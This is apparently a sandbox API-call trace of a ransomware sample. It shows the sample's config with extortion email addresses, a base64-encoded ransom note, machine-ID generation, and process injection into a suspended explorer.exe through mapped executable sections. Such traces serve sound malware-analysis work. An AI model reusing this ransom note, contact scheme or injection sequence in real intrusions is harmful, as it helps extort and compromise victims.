Size=0x18) returned 0xb2f6d0 [0050.079] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xe8) returned 0xb228f8 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f810 [0050.079] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xec) returned 0xb228f8 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f6f0 [0050.079] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xf0) returned 0xb228f8 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f7d0 [0050.079] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xf4) returned 0xb228f8 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f8b0 [0050.079] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xf8) returned 0xb228f8 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f830 [0050.079] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0xfc) returned 0xb228f8 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f630 [0050.079] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0x100) returned 0xb228f8 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f850 [0050.079] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0x104) returned 0xb228f8 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f510 [0050.079] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb228f8, Size=0x108) returned 0xb228f8 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f530 [0050.079] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1ad58, Size=0x20) returned 0xb1b000 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f870 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x4) returned 0xb28640 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f7f0 [0050.079] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28640, Size=0x8) returned 0xb28740 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f6b0 [0050.079] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28740, Size=0xc) returned 0xb25238 [0050.079] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f890 [0050.079] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25238, Size=0x10) returned 0xb25190 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f710 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25190, Size=0x14) returned 0xb2f770 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f570 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2f770, Size=0x18) returned 0xb2f730 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f550 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2f730, Size=0x1c) returned 0xb1ad58 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f590 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1ad58, Size=0x20) returned 0xb1b028 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f730 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1b028, Size=0x24) returned 0xb27a88 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f5b0 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb27a88, Size=0x28) returned 0xb27bd8 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f5d0 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb27bd8, Size=0x2c) returned 0xb301c8 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f5f0 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb301c8, Size=0x30) returned 0xb30660 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f750 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb30660, Size=0x34) returned 0xb2bb20 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f670 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2bb20, Size=0x38) returned 0xb2b720 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f690 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb2b720, Size=0x3c) returned 0xb261a8 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f770 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb261a8, Size=0x40) returned 0xb25bc0 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f610 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25bc0, Size=0x44) returned 0xb25980 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f650 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x48) returned 0xb25980 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f790 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x4c) returned 0xb25980 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb2f7b0 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x50) returned 0xb25980 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30720 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x54) returned 0xb25980 [0050.080] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30520 [0050.080] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x58) returned 0xb25980 [0050.081] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30660 [0050.081] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x5c) returned 0xb25980 [0050.081] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30540 [0050.081] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x60) returned 0xb25980 [0050.081] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30560 [0050.081] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25980, Size=0x64) returned 0xb20de0 [0050.081] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30620 [0050.081] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb20de0, Size=0x68) returned 0xb20de0 [0050.081] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30580 [0050.081] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb20de0, Size=0x6c) returned 0xb20de0 [0050.081] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30800 [0050.081] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb20de0, Size=0x70) returned 0xb20de0 [0050.081] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb307a0 [0050.081] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb20de0, Size=0x74) returned 0xb1f208 [0050.081] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30740 [0050.081] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1f208, Size=0x78) returned 0xb1f208 [0050.081] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30760 [0050.081] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1f208, Size=0x7c) returned 0xb25648 [0050.081] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb307c0 [0050.081] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25648, Size=0x80) returned 0xb25648 [0050.081] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb308c0 [0050.081] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25648, Size=0x84) returned 0xb25648 [0050.081] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30820 [0050.081] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25648, Size=0x88) returned 0xb25648 [0050.081] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30780 [0050.081] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb25648, Size=0x8c) returned 0xb25648 [0050.081] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb308a0 [0050.081] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb1b000, Size=0x24) returned 0xb27c38 [0050.081] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb305a0 [0050.081] strtol (in: _Str="0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x97fc58, _Radix=0 | out: _EndPtr=0x97fc58*=",\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 0 [0050.081] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb27c38, Size=0x28) returned 0xb27ab8 [0050.084] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb305c0 [0050.084] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb27ab8, Size=0x2c) returned 0xb30e68 [0050.084] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb305e0 [0050.084] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb30e68, Size=0x30) returned 0xb30ab0 [0050.084] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb307e0 [0050.084] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x4) returned 0xb28740 [0050.084] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30600 [0050.084] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb28740, Size=0x8) returned 0xb28640 [0050.084] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30640 [0050.084] RtlReAllocateHeap (Heap=0xb10000, Flags=0x8, Ptr=0xb30ab0, Size=0x34) returned 0xb2bb20 [0050.085] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x18) returned 0xb30680 [0050.085] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb28760) returned 1 [0050.085] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb290b0) returned 1 [0050.085] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x34) returned 0xb2b6e0 [0050.085] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x44) returned 0xb25980 [0050.085] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0xc4) returned 0xb24e38 [0050.085] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb28620) returned 1 [0050.085] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xac40d8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\2c08f5ca36.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\2c08f5ca36.exe")) returned 0x26 [0050.085] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x60) returned 0xb25598 [0050.085] GetVersion () returned 0x23f00206 [0050.085] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0xb255a0 | out: Wow64Process=0xb255a0) returned 1 [0050.086] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x21) returned 0xb27b18 [0050.086] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x384) returned 0xb31100 [0050.087] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x0, nSize=0x97fc10 | out: lpBuffer=0x0, nSize=0x97fc10) returned 0 [0050.087] GetLastError () returned 0xea [0050.087] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x10) returned 0xb25190 [0050.087] GetComputerNameExW (in: NameType=0x0, lpBuffer=0xb25190, nSize=0x97fc10 | out: lpBuffer="NQDPDE", nSize=0x97fc10) returned 1 [0050.087] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0xf4) returned 0xb22468 [0050.087] GetCurrentHwProfileW (in: lpHwProfileInfo=0xb22468 | out: lpHwProfileInfo=0xb22468) returned 1 [0050.088] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x70) returned 0xb20de0 [0050.088] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x20) returned 0xb1ad58 [0050.088] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb1ad58) returned 1 [0050.088] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x20) returned 0xb1ad58 [0050.088] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x20) returned 0xb1b000 [0050.088] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb1b000) returned 1 [0050.088] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x41) returned 0xb24f08 [0050.088] sprintf (in: _Dest=0xb24f08, _Format="%0.2x" | out: _Dest="d0") returned 2 [0050.088] sprintf (in: _Dest=0xb24f0a, _Format="%0.2x" | out: _Dest="e7") returned 2 [0050.089] sprintf (in: _Dest=0xb24f0c, _Format="%0.2x" | out: _Dest="31") returned 2 [0050.089] sprintf (in: _Dest=0xb24f0e, _Format="%0.2x" | out: _Dest="38") returned 2 [0050.089] sprintf (in: _Dest=0xb24f10, _Format="%0.2x" | out: _Dest="58") returned 2 [0050.089] sprintf (in: _Dest=0xb24f12, _Format="%0.2x" | out: _Dest="e3") returned 2 [0050.089] sprintf (in: _Dest=0xb24f14, _Format="%0.2x" | out: _Dest="f9") returned 2 [0050.089] sprintf (in: _Dest=0xb24f16, _Format="%0.2x" | out: _Dest="ca") returned 2 [0050.089] sprintf (in: _Dest=0xb24f18, _Format="%0.2x" | out: _Dest="57") returned 2 [0050.089] sprintf (in: _Dest=0xb24f1a, _Format="%0.2x" | out: _Dest="f4") returned 2 [0050.089] sprintf (in: _Dest=0xb24f1c, _Format="%0.2x" | out: _Dest="c7") returned 2 [0050.089] sprintf (in: _Dest=0xb24f1e, _Format="%0.2x" | out: _Dest="71") returned 2 [0050.089] sprintf (in: _Dest=0xb24f20, _Format="%0.2x" | out: _Dest="32") returned 2 [0050.089] sprintf (in: _Dest=0xb24f22, _Format="%0.2x" | out: _Dest="ee") returned 2 [0050.089] sprintf (in: _Dest=0xb24f24, _Format="%0.2x" | out: _Dest="e3") returned 2 [0050.089] sprintf (in: _Dest=0xb24f26, _Format="%0.2x" | out: _Dest="6b") returned 2 [0050.089] sprintf (in: _Dest=0xb24f28, _Format="%0.2x" | out: _Dest="0a") returned 2 [0050.089] sprintf (in: _Dest=0xb24f2a, _Format="%0.2x" | out: _Dest="6f") returned 2 [0050.089] sprintf (in: _Dest=0xb24f2c, _Format="%0.2x" | out: _Dest="d9") returned 2 [0050.089] sprintf (in: _Dest=0xb24f2e, _Format="%0.2x" | out: _Dest="79") returned 2 [0050.089] sprintf (in: _Dest=0xb24f30, _Format="%0.2x" | out: _Dest="e9") returned 2 [0050.089] sprintf (in: _Dest=0xb24f32, _Format="%0.2x" | out: _Dest="fd") returned 2 [0050.089] sprintf (in: _Dest=0xb24f34, _Format="%0.2x" | out: _Dest="e5") returned 2 [0050.089] sprintf (in: _Dest=0xb24f36, _Format="%0.2x" | out: _Dest="a7") returned 2 [0050.089] sprintf (in: _Dest=0xb24f38, _Format="%0.2x" | out: _Dest="0c") returned 2 [0050.089] sprintf (in: _Dest=0xb24f3a, _Format="%0.2x" | out: _Dest="e0") returned 2 [0050.089] sprintf (in: _Dest=0xb24f3c, _Format="%0.2x" | out: _Dest="c4") returned 2 [0050.089] sprintf (in: _Dest=0xb24f3e, _Format="%0.2x" | out: _Dest="57") returned 2 [0050.089] sprintf (in: _Dest=0xb24f40, _Format="%0.2x" | out: _Dest="db") returned 2 [0050.089] sprintf (in: _Dest=0xb24f42, _Format="%0.2x" | out: _Dest="f6") returned 2 [0050.089] sprintf (in: _Dest=0xb24f44, _Format="%0.2x" | out: _Dest="e5") returned 2 [0050.089] sprintf (in: _Dest=0xb24f46, _Format="%0.2x" | out: _Dest="45") returned 2 [0050.089] RtlInitAnsiString (in: DestinationString=0x97fbcc, SourceString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545" | out: DestinationString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545") [0050.090] RtlAnsiStringToUnicodeString (in: DestinationString=0x97fbd4, SourceString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545", AllocateDestinationString=1 | out: DestinationString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545") returned 0x0 [0050.090] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x82) returned 0xb253b8 [0050.090] RtlFreeAnsiString (AnsiString="d") [0050.090] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb1ad58) returned 1 [0050.090] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb20de0) returned 1 [0050.090] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb22468) returned 1 [0050.090] RtlFreeHeap (HeapHandle=0xb10000, Flags=0x0, BaseAddress=0xb25190) returned 1 [0050.090] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x16) returned 0xb306a0 [0050.090] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x20a) returned 0xb31490 [0050.090] GetSystemDirectoryW (in: lpBuffer=0xb31490, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0050.090] wcscat (in: _Dest=0xb31490, _Source="\\" | out: _Dest="C:\\WINDOWS\\system32\\") returned="C:\\WINDOWS\\system32\\" [0050.090] wcscat (in: _Dest=0xb31490, _Source="explorer.exe" | out: _Dest="C:\\WINDOWS\\system32\\explorer.exe") returned="C:\\WINDOWS\\system32\\explorer.exe" [0050.090] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x28) returned 0xb27c38 [0050.090] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\explorer.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4000022, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x97fbc8*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x97fc70 | out: lpCommandLine=0x0, lpProcessInformation=0x97fc70*(hProcess=0x1e4, hThread=0x1e8, dwProcessId=0xdb0, dwThreadId=0xed8)) returned 1 [0051.264] WaitForDebugEvent (in: lpDebugEvent=0x97fc0c, dwMilliseconds=0xffffffff | out: lpDebugEvent=0x97fc0c) returned 1 [0051.272] NtCreateSection (in: SectionHandle=0x97f8d4, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x97f8b4, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x97f8d4*=0x204) returned 0x0 [0051.272] NtMapViewOfSection (in: SectionHandle=0x204, ProcessHandle=0xffffffff, BaseAddress=0x97f8d8*=0x0, ZeroBits=0x0, CommitSize=0x17000, SectionOffset=0x0, ViewSize=0x97f8c8*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x97f8d8*=0x9f0000, SectionOffset=0x0, ViewSize=0x97f8c8*=0x17000) returned 0x0 [0051.273] NtMapViewOfSection (in: SectionHandle=0x204, ProcessHandle=0x1e4, BaseAddress=0x97f8d0*=0x0, ZeroBits=0x0, CommitSize=0x17000, SectionOffset=0x0, ViewSize=0x97f8c8*=0x17000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x97f8d0*=0x3200000, SectionOffset=0x0, ViewSize=0x97f8c8*=0x17000) returned 0x0 [0051.274] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x9f0000) returned 0x0 [0051.276] NtClose (Handle=0x204) returned 0x0 [0051.276] NtGetContextThread (in: ThreadHandle=0x1e8, Context=0x97f8fc | out: Context=0x97f8fc*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, 